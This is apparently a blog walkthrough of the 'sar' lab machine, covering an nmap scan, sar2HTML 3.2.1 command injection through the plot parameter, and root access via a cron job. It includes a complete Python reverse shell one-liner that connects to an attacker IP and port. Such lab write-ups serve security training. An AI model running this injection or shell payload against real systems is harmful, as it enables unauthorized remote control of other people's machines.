Muzec's Cyber Security Blog

Hack. Sleep. Repeat

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We always start with an nmap scan…..

Nmap -sC -sV -oA nmap <Target-IP>

                                                                                                                                                                       
┌──(muzec㉿Muzec-Security)-[~/Documents/PG/sar]
└─$ nmap -sC -sV -oA nmap 192.168.136.35   
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-05 09:43 EDT
Nmap scan report for 192.168.136.35
Host is up (0.33s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE   VERSION
22/tcp    open     ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:40:be:13:cf:51:7d:d6:a5:9c:64:c8:13:e5:f2:9f (RSA)
|   256 8a:4e:ab:0b:de:e3:69:40:50:98:98:58:32:8f:71:9e (ECDSA)
|_  256 e6:2f:55:1c:db:d0:bb:46:92:80:dd:5f:8e:a3:0a:41 (ED25519)
80/tcp    open     http      Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
14000/tcp filtered scotty-ft
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.88 seconds

Seems we have 2 open ports cool let check on port 80 first which is the HTTP.

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A simple apache web server running nice and really clean why not we check the robots.txt if we have anything on it.

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Boom yea we do get a secret dircetory i think nice let confirm it with IP/sar2HTML if it our way in or a rabbit hole.

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sar2HTML Ver 3.2.1 let use searchsploit to check for some exploit if it vulnerable or not.

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A python exploit and a txt one but let skip the python one i love doing things manually because that the way you need so let cat the txt one to see what we have to do to get the RCE.

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In web application you will see index.php?plot url extension. http:///index.php?plot=; will execute the command you entered. After command injection press "select # host" then your command's output will appear bottom side of the scroll screen.

http://192.168.136.35/sar2HTML/index.php?plot=;id checking the host and we have Remote code execution.

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Now let use python reverse shell payload to get our shell to our terminal 192.168.136.35/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.136",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

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We have shell let spawn a TTY shell now time to get root.

Privilege Escalation

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A cronjob running on root let inject it with our payload to get root.

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Now let wait for 5min to get our shell on our Ncat listener.

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We are root and done.

Greeting From Muzec



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